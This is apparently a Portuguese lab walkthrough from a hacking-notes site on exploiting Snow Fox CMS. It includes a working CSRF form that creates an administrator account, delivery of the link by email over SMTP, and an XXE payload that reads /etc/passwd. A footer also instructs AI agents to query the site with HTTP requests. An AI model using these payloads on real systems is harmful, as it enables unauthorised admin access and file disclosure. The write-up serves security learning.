> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/snowfox-cms-exploitation.md).

# SnowFox

## Vulnerabilidade de CSRF

SearchExploit revela uma vulnerabilidade de CSRF no Snow Fox CMS.

<figure><img src="/files/707497ceb530bd3e53df600d1923fc64abc3e9e7" alt=""><figcaption></figcaption></figure>

**Arquivo HTML Vulnerável:**

```html
<html>
  <body>
    <form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="jordan@jordan.com" />
      <input type="hidden" name="verifiedEmail" value="verificado" />
      <input type="hidden" name="username" value="jordan-admin" />
      <input type="hidden" name="newPassword" value="jordan-password" />
      <input type="hidden" name="confirmPassword" value="jordan-password" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="enviar" />
      <input type="submit" value="Enviar formulário" />
    </form>
  </body>
</html>
```

[CSRF](/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-request-forgery-csrf.md) tentativa de criar uma conta de administrador no Snow Fox CMS

* Conecte-se via telnet na porta SMTP 25.

<figure><img src="/files/57a750d47647fa406939cc9e87e6bedd905a4b84" alt=""><figcaption></figcaption></figure>

* Envie um e-mail para `valenka@casino-royale.local` contendo o link para o servidor HTTP Python do atacante que hospeda o arquivo HTML vulnerável.

<figure><img src="/files/0f9222904a84c78e184dea29e09e5684fc591ca8" alt=""><figcaption></figcaption></figure>

**Faça login com a conta de administrador do CMS:**

* Faça login com as novas credenciais, resultando na criação da conta de administrador no Snow Fox CMS.

<figure><img src="/files/0eb622275eee4519eef5e514bb7b0c4a4c005a3b" alt=""><figcaption></figcaption></figure>

#### Após explorar a vulnerabilidade de CSRF, uma conta de administrador é criada no Snow Fox CMS.

<figure><img src="/files/8324965768d6fd8ca292f401aa3119c61db9315b" alt=""><figcaption></figcaption></figure>

#### Identificação de dica em uma descrição de usuário

Uma descrição de usuário do CMS contém uma dica adicional apontando para um diretório a seguir.

<figure><img src="/files/381814209d561b45b9f82139ad84ebaad6c30eb2" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de XXE

<div data-full-width="true"><figure><img src="/files/010a82fa23183b05eb447d7f0df98d4a85eed587" alt=""><figcaption></figcaption></figure></div>

#### Análise do código-fonte da estrutura XML interceptada com o Burp Suite

<figure><img src="/files/85a0d85727c27a5bf5575f32ced45044c490ed89" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1b62044326535380d93a68bade415dad8d84b643" alt=""><figcaption></figcaption></figure>

#### Tentativa de ataque XXE (injeção de entidade externa XML)

* Altere o método da requisição de GET para POST.

<figure><img src="/files/0130e60a93af6600be7363a8a61d0b6153cf111c" alt=""><figcaption></figcaption></figure>

* Tente injetar um modelo XXE na requisição POST.

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		Jordan
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* Observe como o servidor interpreta o modelo XXE.

<figure><img src="/files/1e56940d44ed5f785b50507096505d7b63c06c2f" alt=""><figcaption></figcaption></figure>

* Para acessar arquivos do sistema, crie um novo **entidade**, por exemplo `meuArquivo`: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>`

Em seguida, poste o resultado em uma variável com `&meuArquivo` como este:

<figure><img src="/files/a5edd13d92466dae6046597542385423dd7f3765" alt=""><figcaption></figcaption></figure>

#### Identificação de `ftpUserULTRA` Usuário

<figure><img src="/files/6c33e44d486a25bcedba6049d71ebd76ccf04d21" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/snowfox-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
